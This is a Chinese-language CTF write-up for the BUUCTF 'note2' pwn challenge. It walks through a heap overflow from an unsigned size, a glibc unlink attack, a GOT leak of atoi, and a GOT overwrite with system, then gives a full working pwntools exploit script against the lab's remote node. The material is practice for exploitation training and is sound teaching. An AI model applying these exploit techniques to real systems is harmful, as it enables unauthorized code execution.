题目可在buuctf下载
这章还是unlink的复习
拖到IDA里面可以看到,开头让输入名字,地址(其实没卵用)
然后看下面的菜单分别是新增,打印,编辑,释放
在新增功能中size是无符号数,所以当size为0的时候,0-1之后为无穷大的数,也就是能向堆中写入无穷大的数0xffff…,根据glibc规定会分配0X20个字节,但是读取的时候不受限制,会产生堆溢出
并且最多四个堆块
同时我们可以看出ptr是存放content的地址(0x602120),id存放在0x602160,size存放在0x602140
打印功能没有什么问题,等会可以用来打印泄露数据
编辑功能每次都会申请0xa0大小的内存,free之后没有设置null ,存在溢出
所以我们这里就是利用unlink机制和fastbin机制
首先创建三个note
ptr = 0x602120
note_id = 0x602160
note_size = 0x602140
fake_fd = ptr - 0x18
fake_bk = ptr - 0x10
content = 'a'*8 + p64(0x61) + p64(fake_fd) + p64(fake_bk) + 'b'*0x40 + p64(0x60) #two chunk
add(128,content) #0
add(0,'c'*0x8) #1 alloc 0x20
add(0x80,'b'*16) #2
并且在chunk1中伪造了一个chunk
chunk ptr[0] 是为了unlink修改对应的值
第二个块分哦诶会至少分配可以存储(pre_size,size,fd,bk)的字段,所以会分配0x20个字段
此时堆的结构如图:其中绿色的是伪造的堆块,size:0x60
此时释放chunk1覆盖chunk2-释放chunk2
free(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
add(0,content)
free(2)
首先释放chunk1,改chunk属于fanstbin,在下次申请仍然会申请到改chunk
修改上个chunksize为0xa0,并且为释放状态,此时再释放chunk2就会触发unlink(和伪造的那个chunk)
然后就控制了ptr[0]的fake_bk 即ptr-0x18
然后就可以在该位置修改自己想要的地址了,(在编辑chunk0的时候可以覆盖到该地方,将该地址覆盖为任意函数地址,在查看note0其实就是查看所覆盖的函数地址)
这里通过泄露atoi地址
atoi_got = note2.got['atoi']
free_got = note2.got['free']
content = 'a'*0x18+p64(atoi_got)
edit(0,1,content)
show(0)
然后通过打印函数打印出地址,然后通过-偏移,找到system地址0x****a0
由于此时ptr[0]的地址是got表地址,所以可以通过直接修改该note,将该堆的地址修改为system,此时再调用atoi函数就是调用system函数,然后只要发送bin/sh字符串就可以了
content = p64(system_addr)
edit(0,1,content)
p.recvuntil('-->>')
p.sendline('/bin/sh')
getshell
from pwn import *
#p = process('./note2')
p = remote("node4.buuoj.cn",25912)
context.log_level='debug'
libc = ELF('./libc.so.6')
note2 = ELF('./note2')
def add(size,content):
p.sendlineafter('option--->>','1')
p.sendlineafter('Input the length of the note content:(less than 128)',str(size))
p.recvuntil('content:')
p.sendline(content)
def show(index):
p.sendlineafter('option--->>','2')
p.sendlineafter('Input the id of the note:',str(index))
def edit(index,choice,content):
p.sendlineafter('option--->>','3')
p.sendlineafter('Input the id of the note:',str(index))
p.sendlineafter('do you want to overwrite or append?[1.overwrite/2.append]',str(choice))
p.sendline(content)
def free(index):
p.sendlineafter('option--->>','4')
p.recvuntil('note:')
p.sendline(str(index))
p.recvuntil('Input your name:')
p.sendline('a'*8)
p.recvuntil('Input your address:')
p.sendline('a'*8)
ptr = 0x602120
note_id = 0x602160
note_size = 0x602140
fake_fd = ptr - 0x18
fake_bk = ptr - 0x10
content = 'a'*8 + p64(0x61) + p64(fake_fd) + p64(fake_bk) + 'b'*0x40 + p64(0x60) #two chunk
add(128,content) #0
add(0,'c'*0x8) #1 alloc 0x20
add(0x80,'b'*16) #2
#add(0x10,'/bin/sh\x00') #3
free(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
add(0,content)
free(2)
#gdb.attach(p)
atoi_got = note2.got['atoi']
free_got = note2.got['free']
content = 'a'*0x18+p64(atoi_got)
edit(0,1,content)
show(0)
p.recvuntil('is ')
atoi_addr = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
print("leak atoi_addr is ",hex(atoi_addr)) #0x********90
libcbase = atoi_addr - libc.symbols['atoi']
system_addr = libcbase + libc.symbols['system']
print("system_addr is " ,hex(system_addr))#0x********a0
content = p64(system_addr)
edit(0,1,content)
#gdb.attach(p)
p.recvuntil('-->>')
p.sendline('/bin/sh')
p.interactive()